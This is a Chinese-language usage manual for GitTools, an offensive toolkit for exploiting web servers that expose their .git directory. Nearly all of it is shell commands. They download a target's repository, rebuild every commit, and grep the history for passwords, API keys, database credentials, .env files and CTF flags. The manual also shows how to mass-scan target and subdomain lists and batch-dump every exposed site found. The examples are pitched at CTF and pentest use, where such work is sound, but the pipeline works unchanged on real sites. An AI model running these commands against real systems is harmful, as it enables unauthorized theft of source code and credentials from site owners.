GitTools 使用手册（Git泄露工具集）¶

# 克隆仓库
git clone https://github.com/internetwache/GitTools.git
cd GitTools

# 查看工具
ls -la
# Dumper/
# Extractor/
# Finder/

# Dumper
wget https://raw.githubusercontent.com/internetwache/GitTools/master/Dumper/gitdumper.sh
chmod +x gitdumper.sh

# Extractor
wget https://raw.githubusercontent.com/internetwache/GitTools/master/Extractor/extractor.sh
chmod +x extractor.sh

# Finder
wget https://raw.githubusercontent.com/internetwache/GitTools/master/Finder/gitfinder.py
chmod +x gitfinder.py

# 必需工具
bash >= 4.0
git
curl or wget

# Finder 需要
python 2.7
requests

cd GitTools/Dumper

# 基本命令
bash gitdumper.sh http://example.com/.git/ output_dir

# 或给脚本执行权限后直接运行
chmod +x gitdumper.sh
./gitdumper.sh http://example.com/.git/ output_dir

1. 下载 .git/HEAD
2. 解析 HEAD 获取当前分支引用
3. 下载 refs/heads/* 获取所有分支
4. 递归下载所有对象
5. 下载其他关键文件（index, config等）

# 1. 进入 Dumper 目录
cd GitTools/Dumper

# 2. 下载
./gitdumper.sh http://target.com/.git/ /tmp/dump

# 3. 查看下载的内容
ls -la /tmp/dump/.git/

# 4. 验证 Git 仓库
cd /tmp/dump
git status

[+] Downloading .git recursively
[+] Downloading: HEAD
[+] Downloading: objects/info/packs
[+] Downloading: objects/ab/cdef123...
...
[+] Downloaded: 150 files

cd GitTools/Extractor

# 提取源码
bash extractor.sh /path/to/downloaded/.git /path/to/output

# 示例
bash extractor.sh /tmp/dump /tmp/extracted

1. 读取所有提交
2. 为每个提交创建独立目录
3. 检出每个提交的完整快照
4. 生成提交信息文件

extracted/
├── 0-abc123/          # 第一个提交
│   ├── commit-meta.txt
│   ├── index.php
│   └── config.php
├── 1-def456/          # 第二个提交
│   ├── commit-meta.txt
│   ├── index.php
│   ├── config.php
│   └── new_file.php
└── 2-ghi789/          # 最新提交
    ├── commit-meta.txt
    └── ...

Author: developer <dev@example.com>
Date: 2025-01-15 10:30:00
Message: Add authentication feature

Files changed:
 M index.php
 M config.php
 A auth.php

# 1. 提取后查看所有提交
cd extracted
ls -la

# 2. 查看每个提交的元数据
cat 0-*/commit-meta.txt
cat 1-*/commit-meta.txt

# 3. 比较不同提交
diff -r 0-abc123/ 1-def456/

# 4. 在所有提交中搜索
grep -r "password" .
grep -r "flag{" .

# 5. 查找特定文件的演变
for dir in */; do
    echo "=== $dir ==="
    ls -l $dir/config.php 2>/dev/null
done

cd GitTools/Finder

# Python 2 (原始版本)
python gitfinder.py -i targets.txt

# 或 Python 3 (需要修改)
python3 gitfinder.py -i targets.txt

# 创建 targets.txt
cat > targets.txt << 'EOF'
http://site1.com
http://site2.com
http://site3.com
https://example.com
EOF

-i, --inputfile FILE    目标列表文件（必需）
-o, --outputfile FILE   结果输出文件
-t, --threads N         线程数（默认:20）

# 准备目标
cat > targets.txt << 'EOF'
http://target1.com
http://target2.com
http://target3.com
EOF

# 扫描
python gitfinder.py \
    -i targets.txt \
    -o results.txt \
    -t 10

# 查看结果
cat results.txt
# 输出:
# [+] http://target1.com/.git/ (200 OK)
# [-] http://target2.com/.git/ (404 Not Found)
# [+] http://target3.com/.git/ (200 OK)

# 提取成功的目标
grep '\[+\]' results.txt | awk '{print $2}' > vulnerable.txt

# 批量下载
while read url; do
    echo "[*] Downloading: $url"
    bash ../Dumper/gitdumper.sh "$url" "dump_$(echo $url | md5sum | cut -d' ' -f1)"
done < vulnerable.txt

# 步骤1: 下载 .git
cd GitTools/Dumper
./gitdumper.sh http://target.com/.git/ /tmp/repo

# 步骤2: 提取所有提交
cd ../Extractor
./extractor.sh /tmp/repo /tmp/extracted

# 步骤3: 分析每个提交
cd /tmp/extracted

# 查看所有提交
ls -la

# 在所有提交中搜索 flag
grep -r "flag{" .

# 查找敏感文件的变化
for dir in */; do
    if [ -f "$dir/.env" ]; then
        echo "=== $dir ===" cat "$dir/.env"
    fi
done

# 1. 下载并提取
./gitdumper.sh http://target.com/.git/ dump
./extractor.sh dump extracted

cd extracted

# 2. 列出所有提交的文件
for dir in */; do
    echo "=== Commit: $dir ==="
    ls $dir
done

# 3. 找到包含 secret.txt 的提交
for dir in */; do
    if [ -f "$dir/secret.txt" ]; then
        echo "[+] Found in: $dir"
        cat "$dir/secret.txt"
    fi
done

# 提取所有提交
./extractor.sh dump extracted

cd extracted

# 追踪 config.php 的变化
echo "=== Config.php Evolution ==="
for dir in $(ls -d */ | sort -V); do
    if [ -f "$dir/config.php" ]; then
        echo -e "\n--- $dir ---"
        grep "password\|key\|secret" "$dir/config.php"
    fi
done

# 准备子域名列表
cat > subdomains.txt << 'EOF'
http://www.example.com
http://admin.example.com
http://dev.example.com
http://test.example.com
http://api.example.com
EOF

# 扫描
python gitfinder.py -i subdomains.txt -o results.txt

# 下载所有发现的泄露
grep '\[+\]' results.txt | awk '{print $2}' | while read url; do
    domain=$(echo $url | sed 's/[^a-zA-Z0-9]/_/g')
    ./gitdumper.sh "$url" "dumps/$domain"
done

# 下载并提取
./gitdumper.sh http://target.com/.git/ dump
./extractor.sh dump commits

# 在所有历史中查找密码
cd commits
grep -r "password\s*=\s*['\"]" . | grep -v ".git"

# 查找 API 密钥
grep -r "api[_-]?key\s*=\s*['\"][^'\"]\+" .

# 查找数据库凭据
grep -r "DB_PASS\|database.*password" .

# 1. 检查网络连接
curl http://target.com/.git/HEAD

# 2. 手动补充下载
cd dump/.git
wget http://target.com/.git/index -O index

# 3. 使用其他工具（GitHacker 或 git-dumper）

# 1. 检查 .git 完整性
cd dump
git fsck

# 2. 修复损坏的仓库
git fsck --full
git gc --aggressive --prune=now

# 3. 手动提取
git log --all --oneline
git checkout <commit_hash>

# 修改为 Python 3
# 将 gitfinder.py 中的:
# print "text"
# 改为:
# print("text")

# 或使用 Python 2
python2 gitfinder.py -i targets.txt

chmod +x gitdumper.sh
chmod +x extractor.sh
chmod +x gitfinder.py

# 1. 使用其他工具（支持多线程）
githacker -u URL -o output -t 20
git-dumper URL output --jobs 20

# 2. 使用代理加速
export http_proxy=http://proxy:8080
./gitdumper.sh URL output

#!/bin/bash
# 完整自动化脚本

URL="$1"
BASE_DIR="analysis_$(date +%s)"

mkdir -p "$BASE_DIR"
cd "$BASE_DIR"

echo "[1/3] 下载 .git..."
bash /path/to/GitTools/Dumper/gitdumper.sh "$URL" dump

echo "[2/3] 提取所有提交..."
bash /path/to/GitTools/Extractor/extractor.sh dump extracted

echo "[3/3] 分析..."
cd extracted

# 查找敏感信息
echo "=== Flag ==="
grep -r "flag{" . 2>/dev/null | head -10

echo -e "\n=== 密码 ==="
grep -r "password" . 2>/dev/null | grep -v ".git" | head -10

echo -e "\n=== API Key ==="
grep -r "api_key\|apikey" . 2>/dev/null | head -10

echo -e "\n完成! 结果在: $BASE_DIR"